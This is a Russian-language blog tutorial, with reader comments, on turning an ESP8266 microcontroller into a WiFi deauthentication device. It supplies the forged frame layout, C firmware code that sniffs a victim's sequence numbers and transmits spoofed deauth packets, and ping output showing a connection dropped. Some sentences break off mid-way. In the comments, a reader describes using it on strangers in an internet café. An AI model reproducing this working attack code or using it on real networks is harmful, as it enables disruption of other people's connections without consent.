Как правило, после получения миниатюрного микроконтроллера из Китая вы вряд ли захотите написать собственную прошивку и будете использовать одну из имеющихся. На то есть 2 причины: чтобы вы там ни задумали, это уже было реализовано и вы вряд ли захотите иметь дело с китайским SDK щедро сдобренным костылями и недокументированными возможностями. И пусть вас не сбивает с толку привлекательный дизайн сайта: написание прошивки для ESP это боль и страдания. Если же вас это не пугает, то добро пожаловать. Статья ориентирована на ардуинщика с минимальным опытом работы с ESP: вы уже умеете собирать прошивки и записывать их в микроконтроллер.
Как можно понять из заголовка, мы будем работать напрямую со стеком 802.11, насколько это вообще возможно в случае ESP. Promiscuous mode на ESP — возможность слать и принимать «чужие» пакеты данных из эфира. Сфер применения не так много: статистический анализ (сбор всяких данных, таких как загруженность в зависимости от частоты) и проникновение и взлом сетей. В последнем случае типичным времяпрепровождением script kiddie будет деаутентификация (разрыв соединения) соседа от его WiFi маршрутизатора пока он играет в доту/танки. Обычно для этого светлая голова устанавливает Kali Linux и использует набор скиптов air*-ng, мы же будем использовать миниатюрный контроллер.
Для этого, помимо железа, нам понадобится API (я использовал ESP8266 Non-OS SDK API Reference, ссылка может очень скоро сломаться) и замечательный проект esp-open-sdk который сделает большую часть сборки проекта за вас. Полуготовый (по этическим соображениям) проект по результатам этой заметки можно найти на github.
Итак deauth. Кто не знает — оборвать ваше WiFi соединение можно с помощью пары десятков байт данных посланных в эфир поблизости. Шифрование не спасает по чисто концептуальным причинам: deauth предусмотрен для тех случаев, когда связь плохая и пакеты теряются. Соответственно, необходим действенный механизм крикнуть клиенту «я всё, мне надоело» и начать соединение с чистого листа. И тут уж не до шифрования. В нашем случае мы притворимся, что не выдержала точка доступа и от её имени пошлём письмо счастливому клиенту. Структура пакета следующая:
[0xC0, 0x00] + two_random_bytes + client_MAC_address + (ap_MAC_address * 2) + [seq_N_lo] + [seq_N_hi] + [0x01, 0x00]
Жадный до знаний сам найдет что означают магические константы, я же коротко опишу переменные:
- two_random_bytes будут перезаписаны микроконтроллером;
- client_MAC_address 6 байтов физического адреса MAC устройства клиента;
- ap_MAC_address 6 байтов физического адреса MAC устройства сервера (роутера, точки доступа);
- seq_N_lo,hi младший и старший байты seq_n, порядкового номера пакета, умноженного на 16 (самые младшие 4 бита зарезервированы для возможности пересылки того же пакета еще раз)
Итак,
Шаг 1: переводим ESP в режим station
Следуя ненавязчивым комментариям от друзей-китайцев, это просто необходимо (без объяснений).
void ICACHE_FLASH_ATTR
user_init()
{
uart_init(115200, 115200);
os_printf("\n\nSDK version:%s\n", system_get_sdk_version());
// Promiscuous works only with station mode
wifi_set_opmode(STATION_MODE);
// Set timer for deauth
os_timer_disarm(&deauth_timer);
os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL);
os_timer_arm(&deauth_timer, DEAUTH_INTERVAL, 1);
// Continue to 'sniffer_system_init_done'
system_init_done_cb(sniffer_system_init_done);
}
Кроме всего прочего, мы здесь выставляем скорость ввода-вывода из serial для возможности прочитать отладочные сообщения, используем встроенный таймер чтобы вызывать метод deauth каждые DEAUTH_INTERVAL миллисекунд и даем возможность ESP пошуршать перед переходом ко второму этапу инициализации.
Шаг 2: переводим ESP в режим promiscuous
Для этого определяем функцию sniffer_system_init_done которая была использована ранее.
void ICACHE_FLASH_ATTR
sniffer_system_init_done(void)
{
// Set up promiscuous callback
wifi_set_channel(channel);
wifi_promiscuous_enable(0);
wifi_set_promiscuous_rx_cb(promisc_cb);
wifi_promiscuous_enable(1);
}
Здесь выставляем полосу WiFi (канал приема / передачи данных, смотрите инструкцию к вашей стране), записываем колбэк для приема пакетов promisc_cb и запускаем режим promiscuous. Зачем нам этот callback?
Шаг 3: вынюхиваем пакеты
Один из параметров deauth пакета, seq_n, подразумевает, что мы принимали предыдущие пакеты и знаем порядковый номер следующего. Для это нам нужно слушать чужое соединение и записывать этот seq_n.
static void ICACHE_FLASH_ATTR
promisc_cb(uint8_t *buf, uint16_t len)
{
if (len == 12){
struct RxControl *sniffer = (struct RxControl*) buf;
} else if (len == 128) {
struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
} else {
struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
int i=0;
// Check MACs
for (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return;
for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return;
// Update sequence number
seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22];
}
}
Каскад if-ов связан с
Шаг 4: отправка
Дело за немногим — отправить пакет.
uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq)
{
int i=0;
// Type: deauth
buf[0] = 0xC0;
buf[1] = 0x00;
// Duration 0 msec, will be re-written by ESP
buf[2] = 0x00;
buf[3] = 0x00;
// Destination
for (i=0; i<6; i++) buf[i+4] = client[i];
// Sender
for (i=0; i<6; i++) buf[i+10] = ap[i];
for (i=0; i<6; i++) buf[i+16] = ap[i];
// Seq_n
buf[22] = seq % 0xFF;
buf[23] = seq / 0xFF;
// Deauth reason
buf[24] = 1;
buf[25] = 0;
return 26;
}
/* Sends deauth packets. */
void deauth(void *arg)
{
os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10);
// Sequence number is increased by 16, see 802.11
uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10);
wifi_send_pkt_freedom(packet_buffer, size, 0);
}
Первая функция записывает необходимые данные в буфер, вторая — отправляет его.
Шаг 5: проверяем
Для проверки работоспособности я использовал собственный компьютер.
PING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=71.5 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=64 time=3.24 ms
64 bytes from 192.168.2.1: icmp_seq=3 ttl=64 time=0.754 ms
64 bytes from 192.168.2.1: icmp_seq=4 ttl=64 time=0.648 ms
64 bytes from 192.168.2.1: icmp_seq=5 ttl=64 time=0.757 ms
64 bytes from 192.168.2.1: icmp_seq=6 ttl=64 time=0.822 ms
64 bytes from 192.168.2.1: icmp_seq=7 ttl=64 time=0.734 ms
64 bytes from 192.168.2.1: icmp_seq=8 ttl=64 time=0.759 ms
64 bytes from 192.168.2.1: icmp_seq=9 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=10 ttl=64 time=0.772 ms
64 bytes from 192.168.2.1: icmp_seq=11 ttl=64 time=0.732 ms
64 bytes from 192.168.2.1: icmp_seq=12 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=13 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=14 ttl=64 time=0.621 ms
64 bytes from 192.168.2.1: icmp_seq=15 ttl=64 time=2.19 ms
64 bytes from 192.168.2.1: icmp_seq=16 ttl=64 time=0.710 ms
64 bytes from 192.168.2.1: icmp_seq=17 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=18 ttl=64 time=0.742 ms
no answer yet for icmp_seq=19
no answer yet for icmp_seq=20
no answer yet for icmp_seq=21
no answer yet for icmp_seq=22
no answer yet for icmp_seq=23
no answer yet for icmp_seq=24
no answer yet for icmp_seq=25
no answer yet for icmp_seq=26
no answer yet for icmp_seq=27
no answer yet for icmp_seq=28
no answer yet for icmp_seq=29
no answer yet for icmp_seq=30
no answer yet for icmp_seq=31
no answer yet for icmp_seq=32
no answer yet for icmp_seq=33
no answer yet for icmp_seq=34
no answer yet for icmp_seq=35
no answer yet for icmp_seq=36
no answer yet for icmp_seq=37
no answer yet for icmp_seq=38
64 bytes from 192.168.2.1: icmp_seq=39 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=40 ttl=64 time=3.53 ms
64 bytes from 192.168.2.1: icmp_seq=41 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=42 ttl=64 time=1.98 ms
64 bytes from 192.168.2.1: icmp_seq=43 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=44 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=45 ttl=64 time=6.96 ms
Для объективного анализа можно использовать Wireshark:
Пакет виден именно в том виде, в котором мы его отправили.
Так что, это правда работает? Нет. В текущих версиях SDK это
Комментарии (14)
x893
25.09.2016 20:43Может год назад оно собиралось из «коробки», но сегодня надо постараться для сборки.
Хотя конечно работает прикольно.
Надо будет в каком-нибудь кафе попробовать.kAIST
25.09.2016 21:47Если просто опробовать этот тип атаки, можно поступить проще: на android с рут правами есть специальное приложение, которое делает тоже самое.
x893
25.09.2016 22:11андроид с рут правами ещё найти надо, а esp вот он валяется. Да и потребление сильно отличается.
Alex_ME
25.09.2016 22:11Я как-то весьма особыми танцами с бубном (наподобие Linux Deploy) ставил Backtrack (Kali) на планшет. Штуки из пакета Aircrack-ng не работали. Так же видел именно утилиты Aircrack-ng именно на андроид. Тоже не работали. Там вроде проблемы с тем, что дрова многое не позволяют
Sleuthhound
26.09.2016 20:09Описание установки и настройки среды разработки Unofficial Development Kit for Espressif ESP8266 под windows тут
http://esp8266.ru/forum/threads/anonsy-unofficial-development-kit-for-espressif-esp8266.32/
Все довольно просто, ничего компилировать не нужно, я постарался сделать в UDK все за вас.x893
27.09.2016 14:00да — за это спасибо отдельное, но в файлах .h нет определения функций. пришлось из agrosis проекта им скопипастить. Проверил в интернет кафе — работает. народ смешно себя ведёт — минут через 5 прибегает студент с ethernet проводом и начинает с роутером танцевать. Хотя конечно это подлость. Примерно как флэшка на 250В
vagran
25.09.2016 23:55Насколько я понимаю, даже esp-open-sdk частично использует закрытые проприетарные бинарники от производителя. А есть ли вариант полностью открытой прошивки?
DarkByte
26.09.2016 13:26Конечно же нет. Производитель чипа прячет низкоуровневую работу с чипом в бинарники и не планирует делать их открытыми. Есть вариант отреверсить их, но только зачем? Лучше от этого не станет.
vagran
26.09.2016 13:29Спортивный интерес. Как раз и хотелось посмотреть, как выглядит низкоуровневая работа с радио, и к примеру, изобрести какой-нибудь свой протокол just for fun. И я думаю, когда-нибудь комьюнити отереверсит и сделает полность открытую прошивку, железячка-то достаточно интересная за свою цену.
x893
27.09.2016 14:08берете ida + файл ....a и вперед — только в asm всё будет — но для начинающих это не проблема. ну и конечно datasheet на esp
Alex_ME
Скажите, а есть тулчейн и средства разработки для ESP под Windows?
argz
Вот тут посмотрите — https://github.com/esp8266/esp8266-wiki/wiki/Toolchain#windows
de1m
Попробуйте UDK — http://programs74.ru/udkew.html
Там уже всё в кучу собранно, была статья на хабре про это.